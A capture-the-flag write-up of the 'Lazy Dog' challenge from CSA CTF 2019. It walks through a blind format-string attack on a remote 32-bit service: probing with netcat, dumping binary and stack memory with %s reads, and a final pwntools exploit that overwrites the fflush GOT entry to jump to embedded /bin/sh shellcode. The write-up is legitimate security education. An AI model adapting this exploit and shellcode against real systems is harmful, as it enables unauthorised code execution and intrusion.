CSA CTF 2019 - Lazy Dog challenge
This binary exploitation challenge was the hardest in my opinion. You have no binary to analyze, just an IP/port to connect to.
The service asks for a name, then outputs some strings:
$ nc 220.127.116.11 1339 Name: test 123 8 A quick brown fox jumps over the lazy dog *********************[...]***** 9
We are unable to crash it… but if we input enough characters (136), they start to appear in a second buffer, the one that prints *** initially. It also outputs some debugging message, indicating the return address of the current function.
$ python -c 'print "A" * 200' | nc 18.104.22.168 1339 Name: [DEBUG] ret: 0x8048702 8 A quick brown fox jumps over the lazy dog AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 9
Let’s check if we can use some format strings:
$ python -c 'print "A" * 136 + "%p "*20' | nc 22.214.171.124 1339 Name: [DEBUG] ret: 0x8048702 8 A quick brown fox jumps over the lazy dog 0x8 0xf7fc9000 0x80485a2 0xffffdcc8 0xf7fedff0 0x9 0x8 0x804b008 0x804a000 0xffffdcc8 0x8048702 0x804b008 0x804b090 0xf7fc95a0 0x8048654 0x8 0xf7ff00f6 0x41414141 0x41414141 0x41414141 9
Note that the 18th parameter points to our buffer. We’ll use this later on for dumping and writing.
Dumping the process memory
We have some good primitive there, but we need something more to analyze. We know that the return address for the current function is
0x8048702, a 32bit binary. We’ll dump
0x2000 bytes starting at
0x8048000, which is probably the base address.
To do that, we’ll use format string vulnerability. We’ll create our payload with the address we want to read, pad the first stage, then make the second buffer to print
%18$s, then write the results to the destination file.
There are some issues when sending some bytes (
\x0a). We’ll have to live without them.
# Function that dumps bytes starting at address def rawdump(address): io = start() payload = pack(address) # Pack the pointer to the address payload = payload.ljust(136, "A") # Pad until second buffer payload+= "%18$s" # The format for the printf io.sendline(payload) io.recvline() io.recvline() io.recvline() # 8 io.recvline() # A quick brown fox... res = io.recvline()[:-1] # Read response and remove final \n try: io.recvline() # If we can read this line, we have a proper response return res except: res = None io.close() return res
After loading the file in IDA, we have something very similar to the original binary. The import table is broken, but we can figure it out dumping the GOT table for those functions using the
rawdump() function above. It helps knowing the libc used, it’s the same one from other challenge.
Once we rename those labels, we get this:
We can, for example, overwrite the GOT of
fflush, that are called after the vulnerable
printf. We need to figure out the address to overwrite, and where it should point.
Dumping the stack
Let’s try to get some stack pointers that we can use. It’s the same method as before, but instead of supplying a pointer, we’ll dump stack values as pointers (
%p) and strings (
%s). Here’s the output of the
Param 1 - 0x8 - None Param 2 - 0xf7fc9000 - \xb0 Param 3 - 0x80485a2 - \x81_^\x1a Param 4 - 0xffffdcc8 - Param 5 - 0xf7fedff0 - Z\x8b\x0c$\x89\x04$\x8bD$\x04_ Param 6 - 0x9 - None Param 7 - 0x8 - None Param 8 - 0x804b008 - OUR BUFFER AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA||||%8$s Param 9 - 0x804a000 - \x9f\x0\x18????? Param 10 - 0xffffdcc8 -
The interesting parameter is 8. It’s a pointer to our buffer. We can create a shell payload on that buffer, and try to jump to it. It’s in the heap, so let’s hope it’s executable. (It was on other 32bit challenges).
Here’s what we need to do:
- Send two pointers, to the low and high part of the fflush entry in the GOT. (8 bytes total)
- Send the shellcode
- Pad until the 2nd buffer
Write our buffer address (plus 8) in the fflush GOT.
The value we want to write is
0x804b008+8 = 0x804b010. We’ll write it as two 16bit values. Starting with the smallest part
0x804, make printf output that many bytes, then writing the count to the 19th parameter. Later, generate
0xb010 - 0x804more characters, and write the overal count to the 18th parameter.
In the end, the GOT entry for fflush will point to our shellcode on step 2.
Here’s the final exploit, you can download the complete file later.
io = start() payload = pack(0x0804A010) #fflush_got payload+= pack(0x0804A010 + 2) #fflush_got+2 # Append our shellcode: http://shell-storm.org/shellcode/files/shellcode-827.php payload+= "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" # Pad until it's 136 bytes payload = payload.ljust(136, "A") # write value 0x804 on parameter 19 payload+="%" + str(0x804) + "x" payload+="%19$hn" # write value 0xb010 on parameter 18. 0xb010 - 0x804 = 0xa80c payload+="%" + str(0xa80c) + "x" payload+="%18$hn" io.sendline(payload) io.sendline("echo; cat flag.txt") io.interactive()
- lazydog.elf The original binary running on the server
This challenge was quite hard for me, but it could have been much worse: NX on the heap, ASLR enabled, PIE, … :)
It was fun, nonetheless.